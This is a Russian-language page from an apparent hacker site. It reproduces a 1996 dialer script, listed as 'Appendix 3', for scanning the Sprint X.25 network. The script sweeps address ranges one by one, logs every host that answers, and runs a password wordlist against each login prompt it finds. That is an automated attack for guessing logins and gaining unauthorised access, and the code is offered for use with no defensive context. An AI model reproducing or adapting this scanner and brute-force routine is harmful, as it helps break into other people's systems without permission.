Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

Приложение 3. Пример скрипта для сканирования Sprint.

;
; Скрипт для сканирования Sprint by /DZh, 1996.
; Сопутствующие файлы :
;    netfile - Начальный адрес
;    success - Пустой файл для записи номеров удачных соединений
;    passwd  - информация для подбора (одно слово - одна строка)
;
Integer netnumber, First
String netstring, pswstring
Open "netfile"
Read netstring
Atoi netstring, netnumber
First = 0
Print "Resuming from netnumber ",netnumber

Procedure DialIt
 hangup
 delay 10
 While not connected
  dial "1"
 EndWhile
 put "^M"
 waitfor "TERMINAL=",20
 IF not found
  dialit
 EndIF
 put "@D^M"
EndPROC

Procedure TryPass
 open "passwd"
 REPEAT
  read pswstring
  put pswstring
  waitfor "sword",10
  IF found
   read pswstring
   put pswstring
  EndIF
  waitfor "ogin:","UserID","sername","name?","name =>",8
 UNTIL not found
EndPROC

Procedure TryHost
 waitfor "[Y]/N)?","текст N >","Multi Host>","ogin:","UserID","sername","name?","name =>",10
 SWITCH found
  Case 0: delay 1
          put "@^M"
          waitfor "@",10
          IF not found
           DialIt
          EndIF
          put "BYE^M"
  Case 1: put "^M"
          TryHost
  Case 2: put "N^M"
          TryHost
  Case 3: put "Q^M"
          waitfor "@",10
          IF not found
           DialIt
          EndIF
  Case 4: TryPass
  Case 5: TryPass
  Case 6: TryPass
  Case 7: TryPass
  Case 8: TryPass
 EndSWITCH
EndPROC

Procedure TryAddr
 first=first+1
 IF first > 100
  script "rosnet.scr"
 EndIF
 While connected
  create "netfile"
  write netnumber
  put netnumber
  waitfor "DISCONNECTED","CONNECTED",10
  SWITCH found
   Case 0: delay 1
           put "@^M"
           waitfor "@",10
           IF not found
            DialIt
           EndIF
           put "BYE^M"
   Case 1:
   Case 2: append "success"
           write netnumber
           put ""
           TryHost
           put "STAT"
           waitfor "NOT CONNECTED",3
           IF not found
            dialit
           EndIF
  EndSWITCH
  netnumber=netnumber+1
 EndWhile
  dialit
  TryAddr
EndPROC

logon
dialit
TryAddr
logoff
          
<== Back to main page